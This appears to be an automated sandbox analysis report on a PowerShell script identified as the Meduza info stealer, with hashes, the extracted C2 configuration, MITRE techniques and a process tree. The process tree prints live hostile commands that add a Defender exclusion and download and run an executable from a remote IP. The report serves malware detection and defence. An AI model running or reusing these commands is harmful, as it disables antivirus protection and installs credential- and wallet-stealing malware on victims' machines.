meduza | b1d2df274b2539ad80debafc925c0cf6a2c2394093e57a8e1d0023d3fc13dba3

General

Target

script.ps1
Size

324B
MD5

129bf31d3dc155699387ccc33f2f3775
SHA1

1f43dcd5742a8f0b499892fd3e09255378817adc
SHA256

b1d2df274b2539ad80debafc925c0cf6a2c2394093e57a8e1d0023d3fc13dba3
SHA512

37f6f05e14cb7a78e7f245da4834b2be124e181c96c50a314dd29fc0c2b06c369b4510d068baf34495be5566e41a7d4852582643ce13beaded84720c3c3c9643

Score

10^/10

meduza execution stealer

Malware Config

Extracted

Family

meduza

C2

193.3.19.151

Attributes

anti_dbg
true
anti_vm
true
build_name
hdont
extensions
.txt
grabber_max_size
4.194304e+06
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000d000000023b64-93.dat	family_meduza

Meduza family
meduza

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2992	powershell.exe
4676	powershell.exe
968	powershell.exe

Downloads MZ/PE file

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	api.ipify.org
22	api.ipify.org

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2992	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2992
- C:\Windows\Temp\Launcher.exe
  "C:\Windows\Temp\Launcher.exe"
  2⤵
  PID:3488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\ldgmp3gv.azx.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4676
- - C:\Windows\Temp\ldgmp3gv.azx.exe
    "C:\Windows\Temp\ldgmp3gv.azx.exe"
    3⤵
    PID:4344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
74fd3bb20b5c047c4ef9ff119744dc1f

SHA1
26ffb8c890a071c7c73c7e90789c4f2f709ddb2d

SHA256
950d6a3f91c5f3f823e14f14390f1ad57ddf504256262a778ca1ebe1fb91d2cf

SHA512
f1600c164f93cafa4b0e393892b386bf0ef98939316aabf9a90106b8fa3116adae2745a0c8037e72532e2462b973cf8aabb89ceecf9c469d0a2b0a3194c9ae3e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
f53e7d44fd375504202615c40b399ad2

SHA1
9804981227473a14dc93993ae0bacad01e1e16fb

SHA256
e7c54c25f37cce1aeef177277ff2e1b1f24e640fced750c0c9c68f36405f551d

SHA512
1d5efe2fdf8a9a3bee6a8b4ea859940a02c8f66ac93d724830fe0bb2091b19c2ecb8c51d1f982fcebd699da935f22b5777075102b6b9affa3533b795ba2b7274

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmjcrvgd.fel.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\Launcher.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

Download Submit
C:\Windows\Temp\iviewers.dll

Filesize
6KB

MD5
e017be56699801dc89a8d6d1724eb633

SHA1
a7f7aae4744210db8ebaf4da06c167357bc71eca

SHA256
aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

SHA512
2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8

Download Submit
C:\Windows\Temp\ldgmp3gv.azx.exe

Filesize
1.2MB

MD5
c6813da66eba357d0deaa48c2f7032b8

SHA1
6812e46c51f823ff0b0ee17bfce0af72f857af66

SHA256
1420f60f053c3ea5605239ee431e5f487245108b1c01be75d16b5246156fa178

SHA512
19391c6b12ba8f34a5faf326f8986ef8de4729d614d72bf438c6efa569b3505159ca55f580fe2a02642e5e7a0f1b38a7a9db9f0d66d67ba548d84c230183159e

Download Submit
memory/968-69-0x0000000007410000-0x000000000741A000-memory.dmp

Filesize
40KB

Download
memory/968-66-0x0000000007280000-0x0000000007323000-memory.dmp

Filesize
652KB

Download
memory/968-73-0x00000000075F0000-0x0000000007604000-memory.dmp

Filesize
80KB

Download
memory/968-75-0x0000000007630000-0x0000000007638000-memory.dmp

Filesize
32KB

Download
memory/968-74-0x0000000007700000-0x000000000771A000-memory.dmp

Filesize
104KB

Download
memory/968-36-0x0000000002750000-0x0000000002786000-memory.dmp

Filesize
216KB

Download
memory/968-37-0x0000000005410000-0x0000000005A38000-memory.dmp

Filesize
6.2MB

Download
memory/968-38-0x00000000050E0000-0x0000000005102000-memory.dmp

Filesize
136KB

Download
memory/968-40-0x00000000053A0000-0x0000000005406000-memory.dmp

Filesize
408KB

Download
memory/968-39-0x0000000005280000-0x00000000052E6000-memory.dmp

Filesize
408KB

Download
memory/968-50-0x0000000005C20000-0x0000000005F74000-memory.dmp

Filesize
3.3MB

Download
memory/968-72-0x00000000075E0000-0x00000000075EE000-memory.dmp

Filesize
56KB

Download
memory/968-52-0x0000000006080000-0x000000000609E000-memory.dmp

Filesize
120KB

Download
memory/968-53-0x00000000061D0000-0x000000000621C000-memory.dmp

Filesize
304KB

Download
memory/968-65-0x0000000006640000-0x000000000665E000-memory.dmp

Filesize
120KB

Download
memory/968-71-0x00000000075B0000-0x00000000075C1000-memory.dmp

Filesize
68KB

Download
memory/968-55-0x000000006F210000-0x000000006F25C000-memory.dmp

Filesize
304KB

Download
memory/968-54-0x0000000007240000-0x0000000007272000-memory.dmp

Filesize
200KB

Download
memory/968-67-0x00000000079F0000-0x000000000806A000-memory.dmp

Filesize
6.5MB

Download
memory/968-68-0x00000000073B0000-0x00000000073CA000-memory.dmp

Filesize
104KB

Download
memory/968-70-0x0000000007640000-0x00000000076D6000-memory.dmp

Filesize
600KB

Download
memory/2992-0-0x00007FFA88833000-0x00007FFA88835000-memory.dmp

Filesize
8KB

Download
memory/2992-27-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/2992-1-0x000001A478F00000-0x000001A478F22000-memory.dmp

Filesize
136KB

Download
memory/2992-12-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/2992-11-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/3488-31-0x0000000073BBE000-0x0000000073BBF000-memory.dmp

Filesize
4KB

Download
memory/3488-34-0x0000000005C40000-0x0000000005C4A000-memory.dmp

Filesize
40KB

Download
memory/3488-35-0x0000000074460000-0x000000007446A000-memory.dmp

Filesize
40KB

Download
memory/3488-30-0x0000000005AD0000-0x0000000005AE0000-memory.dmp

Filesize
64KB

Download
memory/4676-88-0x0000000005FC0000-0x0000000006314000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing